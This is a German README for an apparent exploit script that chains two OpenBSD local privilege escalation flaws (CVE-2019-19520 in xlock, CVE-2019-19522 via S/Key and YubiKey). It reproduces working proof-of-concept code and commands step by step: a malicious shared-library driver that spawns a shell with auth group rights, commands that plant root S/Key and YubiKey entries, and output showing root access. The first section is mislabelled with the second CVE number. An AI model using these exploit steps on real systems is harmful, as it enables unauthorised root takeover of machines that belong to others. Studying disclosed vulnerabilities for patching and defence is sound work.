Openbsd-Privilege-Escalation

Ein Skript, das den Prozess der Rechteausweitung auf OpenBSD-Systemen automatisiert (CVE-2019-19520), indem es das xlock-Binary ausnutzt und dessen sgid erlangt und dann zum Root-Benutzer eskaliert (CVE-2019-19522) durch Ausnutzung der Privilegien der auth-Gruppe und Hinzufügen von Schlüsseln zu S/Key oder YubiKey

Der C-Code ist weitgehend eine Kopie des ursprünglichen PoC von: https://www.openwall.com/lists/oss-security/2019/12/04/5

CVE-2019-19522: Lokale Rechteausweitung über S/Key und YubiKey

Auf OpenBSD ist /usr/X11R6/bin/xlock standardmäßig installiert und ist set-group-ID "auth", nicht set-user-ID; die folgende Prüfung ist daher unvollständig und sollte stattdessen issetugid() verwenden:

101 _X_HIDDEN void * 102 driOpenDriver(const char driverName) { ... 113 if (geteuid() == getuid()) { 114 / don't allow setuid apps to use LIBGL_DRIVERS_PATH */ 115 libPaths = getenv("LIBGL_DRIVERS_PATH");

Ein lokaler Angreifer kann diese Schwachstelle ausnutzen und mit dlopen() einen eigenen Treiber laden, um die Privilegien der Gruppe "auth" zu erlangen:

$ id uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)

$ cd /tmp

$ cat > swrast_dri.c << "EOF" #include <paths.h> #include <sys/types.h> #include <unistd.h>

static void attribute ((constructor)) _init (void) { gid_t rgid, egid, sgid; if (getresgid(&rgid, &egid, &sgid) != 0) _exit(LINE); if (setresgid(sgid, sgid, sgid) != 0) _exit(LINE);

char * const argv[] = { _PATH_KSHELL, NULL };
execve(argv[0], argv, NULL);
_exit(__LINE__);

} EOF

$ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c

$ env -i /usr/X11R6/bin/Xvfb :66 -cc 0 & [1] 2706

$ env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66

$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)

Nachdem wir die Privilegien der Gruppe auth erlangt haben, können wir diese nun ausnutzen, indem wir eigene Root-Schlüssel zu S/Key oder YubiKey hinzufügen

CVE-2019-19522: Lokale Rechteausweitung über S/Key und YubiKey

Falls der S/Key- oder YubiKey-Authentifizierungstyp aktiviert ist (beide sind standardmäßig installiert, aber deaktiviert), kann ein lokaler Angreifer die Privilegien der Gruppe "auth" ausnutzen, um die vollständigen Privilegien des Benutzers "root" zu erlangen (da login_skey und login_yubikey nicht überprüfen, ob die Dateien in /etc/skey und /var/db/yubikey dem korrekten Benutzer gehören, und diese Verzeichnisse beide von der Gruppe "auth" beschreibbar sind).

(Hinweis: um die Privilegien der Gruppe "auth" zu erlangen, kann ein lokaler Angreifer zuerst CVE-2019-19520 in xlock ausnutzen.)

Falls S/Key aktiviert ist (über skeyinit -E), kann ein lokaler Angreifer mit "auth"-Privilegien einen S/Key-Eintrag (eine Datei in /etc/skey) für den Benutzer "root" hinzufügen (falls diese Datei bereits existiert, kann der Angreifer sie nicht einfach entfernen oder umbenennen, da /etc/skey sticky ist; eine einfache Problemumgehung existiert und wird dem interessierten Leser als Übung überlassen):

$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)

$ echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root

$ chmod 0600 /etc/skey/root

$ env -i TERM=vt220 su -l -a skey otp-md5 99 obsd91335 S/Key Password: EGG LARD GROW HOG DRAG LAIN

#id uid=0(root) gid=0(wheel) ...

Falls YubiKey aktiviert ist (über login.conf), kann ein lokaler Angreifer mit "auth"-Privilegien einen YubiKey-Eintrag (zwei Dateien in /var/db/yubikey) für den Benutzer "root" hinzufügen (falls diese Dateien bereits existieren, kann der Angreifer sie einfach entfernen oder umbenennen, da /var/db/yubikey nicht sticky ist):

$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)

$ echo 32d32ddfb7d5 > /var/db/yubikey/root.uid

$ echo 554d5eedfd75fb96cc74d52609505216 > /var/db/yubikey/root.key

$ env -i TERM=vt220 su -l -a yubikey Password: krkhgtuhdnjclrikikklulkldlutreul

#id uid=0(root) gid=0(wheel) ...